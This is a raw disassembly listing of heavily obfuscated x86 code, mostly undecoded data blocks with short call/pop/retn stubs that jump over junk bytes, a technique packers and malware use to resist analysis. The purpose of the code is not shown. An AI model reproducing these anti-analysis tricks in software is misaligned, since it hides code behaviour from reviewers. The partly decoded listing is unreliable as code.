pusha mov eax, eax push 0 push edx call sub_5CA055 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA055 proc near ; CODE XREF: sdfs____:005CA04Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5CA055 endp ; --------------------------------------------------------------------------- db 7, 7Dh, 0DFh dd 8344E773h, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h dd 8B535019h, 438B8C0h, 85890000h, 7E911F9h, 0D7CE9D8Dh dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h, 438B853h dd 85890000h, 7E911F9h, 0D4BD9D8Dh, 0D3FF07EBh, 960585Bh dd 0E91C8D95h, 3BE9BF07h, 6A611A97h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F92C353h dd 411DECAEh, 6870Fh, 0B58B0000h, 7E90E35h, 0C820Fh, 820F0000h dd 6, 0B4DB509h, 0C08B07E9h, 1E19B58Bh, 0C8E807E9h, 6A000008h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0C4CC355h, 20466332h, 1FF58589h, 0BD8B07E9h dd 7E91709h, 896E8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 70E46E1Ch, 0A32E1D13h dd 0EF8A37BBh, 245D8589h, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0E28CCAC3h, 10E84EDFh dd 6F000000h, 63943E6Ah, 9EF59E80h, 0A1EFF150h, 5903B74Dh dd 9FD18166h, 1952948h, 0E807E919h, 823h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 0CFC35040h, 0F7FE9983h dd 56E68163h, 297DC2FDh, 0E90E359Dh, 79858907h, 6A07E929h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0A4B5C355h, 4C12631Eh, 0CE9FC23h, 7000000h dd 4B0675A1h, 43BB4F5Dh, 0E879B14Dh, 7B7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 68C35646h, 56D0046Dh dd 0FF0E3259h, 0E1B5330Eh, 8907E911h, 0E9204585h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0E92FEFDFh, 762E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8B346005h, 89CA8BF1h dd 0E929A585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 833B8EB8h, 0A74A23A5h dd 0BD8B1A6Ch, 7E922ADh, 70AE8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 5FB7498Bh dd 99CD587Fh, 58589D0h, 6A07E91Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B30BC356h dd 0EF6CCAC8h, 7A780AF2h, 88C0Fh, 89530000h, 0E91BD98Dh dd 0A8E85F07h, 6A000006h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 2334C356h, 0F02E184Bh dd 161B589h, 858907E9h, 7E91F55h, 8E8h, 0FA0D4500h, 873B824Dh dd 0A5B96663h, 64E85E84h, 31000006h, 0E90F7D9Dh, 0D1858907h dd 6A07E912h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0A67BC357h, 0D77233A3h, 61476893h dd 17F98D31h, 28E807E9h, 6A000006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0B939C356h dd 3CDCFD68h, 0C362BE66h, 68B0Fh, 8B0F0000h, 0 ; --------------------------------------------------------------------------- mov [ebp+7E90E1Dh], eax mov edi, 43A60444h call sub_5CA9D7 mov ecx, [ebp+7E906FDh] mov [ebp+7E9170Dh], eax sub [ebp+7E92CD1h], edi call sub_5CA9D7 push 0 push ecx call sub_5CA412 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA412 proc near ; CODE XREF: sdfs____:005CA40Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5CA412 endp ; --------------------------------------------------------------------------- dw 68A3h dd 9E96737h, 2C000000h, 0FB0F25B9h, 0F57536A8h, 31518589h dd 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0AE9BC8C3h, 0E980E000h, 575E84Fh, 12E90000h dd 0FB000000h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh, 293429E2h dd 118589A6h, 6A07E90Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 9EC5C357h, 0CD8426E0h dd 29D0F20Dh, 0E92A29BDh, 529E807h, 9D890000h, 7E90971h dd 1A898589h, 8D8B07E9h, 7E93041h, 512E8h, 3AB96600h, 8589F597h dd 7E91735h, 0C8DF8166h, 4FDE84Eh, 5E90000h, 52000000h dd 0D342DD3h, 18E1B589h, 858907E9h, 7E92C6Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E6C35141h, 9DB529C6h dd 8B07E916h, 0E91255B5h, 4B9E807h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A998AAC3h dd 52F60973h, 89774429h, 0E9227985h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 37BFF599h dd 100B0B4h, 0E9115DBDh, 0B5B58B07h, 0F07E929h, 8F0FD8B6h dd 6, 2DCDBD8Bh, 6BA07E9h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 3F91C356h dd 3219589h, 0C38B07E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 6AC35545h, 0C65F885Fh, 0DD5CF6ABh, 0C1F7B70Fh dd 0BD8B04E8h, 7E923DDh, 6AE2F766h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9E57C355h dd 0C81AE002h, 2713922Bh, 13458D8Bh, 0B53107E9h, 7E91D0Dh dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 29E42DC3h, 0F74C436h, 9D09F8BFh, 7E9156Dh dd 860F93h, 50000000h, 0FFC88B93h, 0E9005995h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BF663456h, 0BD8B4FE3h, 7E92FB5h, 55006A5Bh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0EFA5B75Fh dd 54988F15h, 0F70BD9BFh, 21958D63h, 6A07E917h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 60C8C351h, 8D8BB3B3h, 7E92F85h, 0D9BD8B61h, 8907E91Ah dd 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0B589E7BFh, 7E914E5h, 1275B523h, 428907E9h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8D81B3F2h, 0E9098995h, 1800F07h, 0F9000000h dd 0B1A89FCh, 0E934418Dh, 4428907h, 0FE9h, 13D93700h, 0BD3F19D4h dd 318C0FE0h, 0D03B45D9h, 2119958Dh, 6A07E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 8CC815C3h dd 0EE98531h, 1A8907E9h, 21C5E781h, 42890017h, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3B80E621h, 18840F8Dh, 0E9000000h, 13h, 8FC45F56h, 1B8ED8D1h dd 507625B6h, 95EB6459h, 8B030DC4h, 0E90FDDBDh, 4DB58907h dd 8D07E901h, 0E91DF195h, 0FC576007h, 0FFF0815Fh, 6167AF3Ch dd 1A89F98Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2DC35040h, 66E59592h, 0DB16D781h, 8B044289h, 19958DFAh dd 6A07E931h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 9FF6C355h, 7F04421Dh, 3DB58B57h dd 8907E91Dh, 52006A1Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 42897D63h, 0F5BD8B04h, 8D07E917h dd 0E92DE195h, 1A89F807h, 89F6B70Fh, 0F9600442h, 0BE9h dd 937F6000h, 784DE870h, 0CFA2ADF7h, 0C9958D61h, 6A07E917h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6B97C353h, 597D15BFh, 6A1A894Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1F91C355h, 22499CF1h, 5E90984h, 0A4000000h, 9CD3738Bh dd 6A044289h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 9E59C351h, 8DF88BACh, 0E9085195h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 593D6004h, 0FE8B5CFh, 8000000h, 6884A3D1h dd 0E5F59F1Eh, 9274334Dh, 7E90EB6h, 2D000000h, 82E6038Dh dd 895FD626h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 5DB58BC3h, 8907E935h, 6A0442h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0F8C6DC3h, 0F55D0978h, 0F60C59Bh, 689h, 8F0F00h, 61000000h dd 0E9F28B66h, 0Eh, 2D9A06C2h, 0B2993FD5h, 0F20C8C7Ch dd 0D7E9B3B9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 10F9C355h db 3Bh, 0FDh, 3Dh ; =============== S U B R O U T I N E ======================================= sub_5CA9D7 proc near ; CODE XREF: sdfs____:005CA3EBp ; sdfs____:005CA402p push 0 push 0 push edx call sub_5CA9E4 and [edx-3Dh], bl sub_5CA9D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CA9E4 proc near ; CODE XREF: sub_5CA9D7+5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CA9E4 endp ; --------------------------------------------------------------------------- sub ch, bl mov esi, [ebp+7E919B1h] push 0 or [ebp+7E90F91h], ebx push 0 push 0 push edx call sub_5CAA11 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CAA11 proc near ; CODE XREF: sdfs____:005CAA09p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5CAA11 endp ; --------------------------------------------------------------------------- db 5Eh, 96h, 36h dd 0CF8B94DBh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0BE4649C3h, 73687FAFh, 6820Fh, 9D890000h dd 7E90B05h, 5F43BF66h, 1D7995FFh, 0F78B07E9h, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E963CB4Dh, 0B1AE7ABDh, 0F35B58Bh, 0C58A07E9h, 8BF78B66h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0BD83931Ah, 7E918A5h, 83097500h, 0E91A45BDh dd 19740007h, 0C08B5350h, 438B8h, 0F5858900h, 8D07E920h dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h dd 438B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 60919B61h, 61DA8B66h, 0ABF18166h, 8DC08B9Fh dd 0E9086185h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 66C935Bh, 0D781669Ch dd 8B90C09Fh, 0CE950FEh, 0AF000000h, 773258CEh, 21F919B6h dd 905031E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0A4C35646h, 316BAE54h, 3865897Eh, 65BD8B44h, 907E923h dd 0E9204DB5h, 6A006A07h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 137C352h, 0E91E15B5h dd 6A006A07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 9714C355h, 374640CCh, 0F165285h dd 128Bh, 0DE900h, 0D3BD0000h, 7BA58BA6h, 0D2A77098h, 810F4C3Eh dd 517029EFh, 0B9858D36h, 107ED6Fh, 0E903219Dh, 5C08307h dd 0FFE8B66h, 68Fh, 0D9D8B00h, 5007E900h, 489DD8Ah, 6A006A24h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 7C73C350h, 8CB5ACFFh, 0E95231F7h, 0Bh, 3462C8BBh dd 0B310A1E8h, 6A76D73Fh, 4D8D0900h, 8B07E92Dh, 0B995FFF9h dd 6A07E90Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 1A75C350h, 18F38166h, 2C8D8D42h dd 6A07ECD7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0AAE0C355h, 82C72541h, 41BD09FDh dd 0FF07E90Fh, 37B5BFD1h, 5F510C55h, 1B69BD83h, 0F0107E9h dd 0A285h, 0EDBD2300h, 6A07E919h, 52006A02h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BBB931ECh dd 55B1519Bh, 0FB8B6690h, 0BB525050h, 961CAF8h, 585A310Fh dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 4D4C64DCh, 4ABB6D34h, 0FF009AD6h, 0E902CD95h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 30D11746h, 0E9E18CDFh, 13h, 1C379765h, 60CE67A4h dd 0A5E7BA67h, 0EB821D5Fh, 0E989967Bh, 0CB8h, 0E8h, 0ED815D00h dd 7ED6FC3h, 0DA8454BBh, 0C3816629h, 6E82BE2h, 0BE000000h dd 705974B0h, 499D29FEh, 5B07E915h, 0B406858Dh, 958907ECh dd 7E902E1h, 6E850h, 9AF60000h, 0B4A45B3Dh, 6E8h, 0B1DB5900h dd 8BF3C53Fh, 895F5BDFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0B5C3E4C3h, 0AD8D89B9h dd 6407E918h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 9A5350C3h, 64A1CB80h dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 615DDDC3h, 6FBFC48Ah, 0FF383925h dd 0E90F9D85h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 36C690C5h, 8964958Bh dd 0E930BD95h, 12810F07h, 0E9000000h, 0Dh, 0BD657C81h dd 0BDA8689Eh, 96F7BB63h, 23FF6AADh, 0E90C919Dh, 0FB8B6607h dd 1FF5B5FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0A7559CC3h, 0FFB97EE1h, 0E9233D95h dd 109E907h, 9D8B0000h, 7E91B29h, 0BF6600B0h, 70E6C1DBh dd 2971E4FCh, 0E9055D9Dh, 0F613C07h, 0EA83h, 0FDA8A00h dd 0BAF8C8B6h, 6, 1E01BD09h, 0BD8B07E9h, 7E90CE5h, 9D8BC18Bh dd 7E91D31h, 6604E8C1h, 0D381D98Bh, 4EB25DF3h, 0FE2F766h dd 1B83h, 14E800h, 0DF7E0000h, 0ADC1230Ah, 0A458C0FCh dd 3C87EE53h, 56B9AF28h, 5FF5CB80h, 8B66C82Bh, 60D18BFBh dd 61C78BF8h, 1D85B531h, 4E907E9h, 66000000h, 8BAA1EBFh dd 0E9172185h, 1282BB07h, 0C78154DAh, 68F04551h, 0BF07C083h dd 5773F719h, 0E900C083h, 6, 0D3994E9Fh, 0DB80AA42h, 0FD03B8Ah dd 2083h, 0B59D3100h, 0E907E908h, 8, 1210DA6Ah, 671BA56Bh dd 36E9h, 0BD895700h, 7E91619h, 198D8B5Fh, 0F07E920h, 0E183F9B7h dd 1C840F01h, 66000000h, 83719FBBh, 0E92019A5h, 8B66FE07h dd 219589DEh, 0F07E917h, 0E9FEBFh, 8D000000h, 0ECEFBFB5h dd 95296007h, 7E92539h, 68C0Fh, 0EF810000h, 78575CA8h dd 6A006A61h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0BDECC356h, 0D9BC0D1Fh, 3195FF9Ah dd 8907E90Ch, 0E90C3D9Dh, 6A0B907h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 30F498C3h dd 504C078h, 0A4BB66D0h, 0FCE183A2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 96C35242h, 8BCF358Bh, 0E90F999Dh dd 11E8FC07h, 0F000000h, 150E8828h, 4D246358h, 558560FCh dd 0D9E3ED16h, 3BE9E781h, 0B85B25A4h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5CB09B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB09B proc near ; CODE XREF: sdfs____:005CB093p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5CB09B endp ; --------------------------------------------------------------------------- daa wait das sub edx, edx push 0 push esi call sub_5CB0BB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB0BB proc near ; CODE XREF: sdfs____:005CB0B3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5CB0BB endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- mov edi, 33AD89FFh retn 0E8D1h ; --------------------------------------------------------------------------- dd 0E983D003h, 60F47504h, 0BCCB8166h, 59C680ABh, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0F849A22Fh, 89192165h, 0E9220595h, 880D07h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 3D8287C3h, 168D9D23h, 958B07E9h, 7E9320Dh, 8D8B4FB3h dd 7E922E5h, 0A2DBD8Bh, 8B5007E9h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 51C35242h, 85089EDDh, 0AE9534Dh, 75000000h dd 3F9DD382h, 167A5511h, 0C9BD2B24h, 8907E91Fh, 0E90F5D85h dd 13E807h, 759A0000h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h dd 82C0558h, 15840F73h, 0E9000000h, 10h, 7EA68CCEh, 38BCB610h dd 604BCB55h, 7A489C3Ah, 2DBD835Bh, 7E91Ch, 0B3840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 89E71EC3h, 0BF6686ECh, 0B70FBC40h, 0B8FEh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 653017C3h, 2DD69FE9h, 8D158619h, 0E94D5A8Dh, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0C4D39B7Bh, 998589B3h, 0FF07E92Fh, 53006AE1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E9DA3F80h, 11h, 0B1F70CFFh, 0AA5B9B83h, 53685F8Ah dd 92518B92h, 0B1BD83D1h, 7E922h, 36F840Fh, 0BB660000h dd 0BD8316A8h, 7E922B1h, 79840F01h, 57000003h, 1800Fh dd 5BF90000h, 22B1BD83h, 0F0307E9h, 32D86h, 0D88B6600h dd 17D58589h, 0F6007E9h, 68Dh, 0B58D8900h, 6607E91Eh, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 31BB95C3h, 0B5313EAEh, 7E90B21h, 8904E180h, 0E91AD995h dd 0FC90A07h, 0E784h, 8BDA8B00h, 0E90C5585h, 33DF8B07h dd 0E91CE985h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BF66CB4Fh, 0F50053Dh dd 0E82h, 6E800h, 0F4ED0000h, 3260D337h, 895B5B56h, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0EA76FFC3h, 29768C7Eh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 681603C3h, 0D1916B7Ch dd 35BF6660h, 61DC8A21h, 83240481h, 0E92E8D98h, 10h, 0FA312F67h dd 2C75A799h, 8E5C5918h, 30DA8AB7h, 13E9h, 0CBB84000h dd 0F295E1ACh, 0F0116048h, 5EA9CDE8h, 77E4C385h, 2D995FFh dd 858907E9h, 7ECD785h, 95F38166h, 176E985h, 0B5890000h dd 7E92EF5h, 0D77D858Bh, 0BF0F07ECh, 1800C7FEh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 3BBC351h, 17118D89h, 0B58B07E9h, 7ECD781h dd 0E5BD8960h, 8B07E91Fh, 0E921F185h, 858B6107h, 7E91859h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 18C35343h dd 7B1D3F6h, 6A06899Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D4FFC350h, 55858BD5h dd 6A07E90Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 6484C357h, 0E783DD74h, 89DF8B66h dd 0BD8B0446h, 7E91AADh, 10E850h, 69390000h, 2838B969h dd 0A68CCE9Bh, 0BCB6107Eh, 52505538h, 8A0Fh, 310F0000h dd 83761EBBh, 5B585A2Fh, 89243489h, 0E91E559Dh, 7DB5FF07h dd 6807ECD7h, 37885024h, 8B665250h, 50310FFAh, 81585A5Fh dd 53DB2434h, 6A3797h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8DD501C3h, 0ECD78585h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0B3BE820Eh, 0A3AB398Dh, 0E9905090h, 6, 0A8040540h, 95FF42F9h dd 7E902D9h, 2830Fh, 61600000h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0A8EB59D1h dd 0A26CEF46h, 0C7F98B58h, 0E922B185h, 307h, 0BE900h, 0ADC70000h dd 4078B0F2h, 87F8F32h, 85BD83ACh, 7ECD7h, 38840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8BFDF9C3h, 0E930E59Dh, 2BE907h, 9D8B0000h, 7E90AE1h dd 48B0Fh, 0BF660000h, 305073E9h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0CD9509C0h, 8307E91Eh dd 0E922B1BDh, 850F0307h, 3C9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0CDC35141h, 4559A3D4h, 34A301BBh dd 0D5BD89EBh, 8307E902h, 0ECD785BDh, 840F0007h, 391h dd 0B5FFD98Ah, 7ECD785h, 816633B7h, 0FFDDE8DFh, 0E9134995h dd 0B5BD8907h, 8B07E900h, 0ECD779B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0DFC1A589h, 8A7F16D7h, 6C7F5DDh, 10001h, 21CCF781h dd 0E8506217h, 9, 24FEF42Eh, 0C39AD4FEh, 0B6BB50D3h, 5B46378Ch dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 27C35747h, 489E9DC0h, 6CBA4ABCh, 559D89BFh, 8907E901h dd 0E902FD9Dh, 85B5FF07h, 6A07ECD7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0BA7EC356h dd 0F760A78h, 619D09C2h, 8B07E90Ch, 0E9109D9Dh, 0B195FF07h dd 6A07E91Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 9B02C350h, 99BF0578h, 8B1C3B95h dd 0ECD779B5h, 698D0107h, 8B07E92Eh, 0E9244985h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 535C6C91h, 5C9112E6h, 39B58946h, 8907E92Eh, 0E9198995h dd 0C4868907h, 89000000h, 0E9158D95h, 0D958B07h, 6A07E932h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0AF89C355h, 1D093850h, 4C2831Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8AC35545h, 0BE85E6Dh dd 4C000000h, 133A71F7h, 555E790Fh, 0BD29E6D1h, 7E91FA9h dd 2050895Bh, 18F5BD8Bh, 858D07E9h, 7ECECA1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 62C35545h, 0AEBA7C40h dd 0E0997DF1h, 3081B589h, 868907E9h, 0B8h, 66006AF5h, 0FF7C2ABBh dd 0ECD785B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 53B87838h, 0BF0F45A2h dd 0CD95FFDAh, 6607E902h, 0BB96DE8Bh, 5BAD3044h, 8A0F5250h dd 3, 5FDE8B66h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h dd 1404h, 0C3574700h, 0D1BB66B8h, 85B5FF53h, 8907ECD7h dd 0E90AA195h, 2D95FF07h, 8B07E930h, 0E92DE99Dh, 0C9BD8307h dd 7E91Eh, 15840Fh, 9D090000h, 7E91D6Dh, 3B8DBF50h, 3489515Eh dd 759D8B24h, 0FF07E90Ch, 0ECD785B5h, 0CE907h, 871F0000h dd 8B972997h, 78223524h, 95FF2CA2h, 7E91F9Dh, 12E9h, 35EED100h dd 8D4C24B4h, 0B551044Ch, 734CC29Fh, 0FF69D8C2h, 0ECD785B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 14E99E17h, 87000000h, 997C7577h, 7387CBC1h dd 4B582D2Fh, 9A09FF3Fh, 0FF7D4BE6h, 0E9013995h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 4D6156E8h, 958AE8F7h, 8E9634Dh, 21000000h, 0D63D77DFh dd 837182F3h, 0E929CDBDh, 840F0207h, 28h, 68F0Fh, 9D890000h dd 7E923ADh, 875858Bh, 8F0F07E9h, 2, 0C6D98Bh, 0BD896000h dd 7E93549h, 61CA8B66h, 24AD85C7h, 7E9h, 0FE80000h, 9F000000h dd 4F37C041h, 7A533095h, 0FD171264h, 0CB812A61h, 70AFA730h dd 0F467E95Bh, 9D2BFFFFh, 7E9078Dh, 9D89C18Bh, 7E92B11h dd 861858Dh, 2FBF07E9h, 8B6BA211h, 0E923DDBDh, 7E85007h dd 16000000h, 866674Ch, 5F533CFDh, 2404895Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h, 446A5D5Ch dd 5E8FEh, 408C0000h, 0BFC92806h, 1424E8Ah, 0DF81665Bh dd 6AE1D6h, 8E9h, 27883700h, 1C11540Dh, 60006A3Eh, 2B819D89h dd 5E907E9h, 2F000000h, 0CE58EA80h, 49BD8961h, 8D07E92Dh dd 0ED7E6685h, 4800F07h, 60000000h, 8361D08Bh, 6A05C0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 7D15D5C3h, 3EBF6655h, 6660507Eh, 5031C4B8h, 0CE952h dd 88410000h, 0D66D7201h, 0AEEFF8E3h, 310FF40Ch, 4044BF66h dd 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0DF2CE2C3h, 4BBE4AA8h, 0F8B88F35h dd 23C59D8Bh, 0B9BF07E9h, 6A3D78E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 12CFA0h, 5DB22064h dd 9589E650h, 7E93061h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 6B7E03C3h, 0DFA56721h dd 9CD780EBh, 0FB995FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 